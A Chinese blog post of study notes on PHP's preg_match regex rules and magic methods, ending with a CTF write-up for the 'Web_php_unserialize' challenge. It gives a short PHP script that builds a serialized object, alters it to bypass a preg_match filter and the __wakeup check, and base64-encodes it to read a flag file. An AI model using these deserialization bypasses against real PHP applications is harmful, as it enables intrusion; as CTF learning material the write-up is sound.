PHP正则表达式preg_match函数 | 魔术方法(php反序列)

2022/3/28

一、PHP

1.PHP正则表达式preg_match函数

利用 preg_match(),可以完成字符串的规则匹配。如果找到一个匹配,preg_match() 函数返回 1,否则返回 0。还有一个可选的第三参数可以让你把匹配的部分存在一个数组中。在验证数据时这个功能显得非常重要以及有用。

规则:

  • 必须要有一对定界符: “/” “ /”
  • [ ] :被用来限制许可输入类型。如:a-z允许所有小写字母,0-9允许所有数字
  • { } :被用来限制期望的字符数。如:{2, 4} 表示字符串的每一节可以有2-4字符长度,像是 .com.cn 或 .info。在这里, "." 并不算一个字符,因为 {2,4} 之前定义的许可输入类型只有大小写字母,故此段只匹配大小写字母
  • ( ) :被用来合并小结,并定义字符串中必须存在的字符。(a|b|c) 能够匹配 a 或 b 或 c
  • (.) 将匹配所有字符,而 [.] 只匹配 "." 本身

要使用一些符号本身,必须在前增加一个 。这些字符有:( ) [ ] . * ? + ^ | $

模式分隔符后的"i"标记这是一个大小写不敏感的搜索

模式中的 \b 标记一个单词边界,所以只有独立的单词"web"会被匹配,而不会匹配

preg_match('/[oc]:\d+:/i', $var)
  // preg_match()匹配的为o或c:任意长度数字(至少一个) i表示匹配时不区分大小写

2.魔术方法

https://www.twle.cn/c/yufei/phpmmethod/phpmmethod-basic-construct.html

  • __construct:实例化对象的时候自动执行,new
  • __destruct:对象被销毁时被自动调用,基本上是程序结束
  • wakeup:当使用 unserialize() 反序列化一个对象成功后,会自动调用该对象的 __wakup() 魔术方法。在 PHP5 < 5.6.25, PHP7 < 7.0.10 的版本存在wakeup的漏洞。当反序列化中object(对象)的个数和之前的个数不等时,wakeup就会被绕过
Web_php_unserialize(攻防世界)

1.绕过函数
3.base64
4.绕过__wakeup

主要的运行打开文件的是__destruct

<?php 
class Demo { 
    private $file = 'fl4g.php';
}

$x= serialize(new Demo);
$x=str_replace('O:4', 'O:+4',$x);//绕过preg_match()
$x=str_replace(':1:', ':3:',$x);//绕过__wakeup()
echo base64_encode($x);
?>

问题:不怎么了解php代码,所以为什么要写private ?

posted @ 2022-03-28 23:33  konglong  阅读(155)  评论(0)    收藏  举报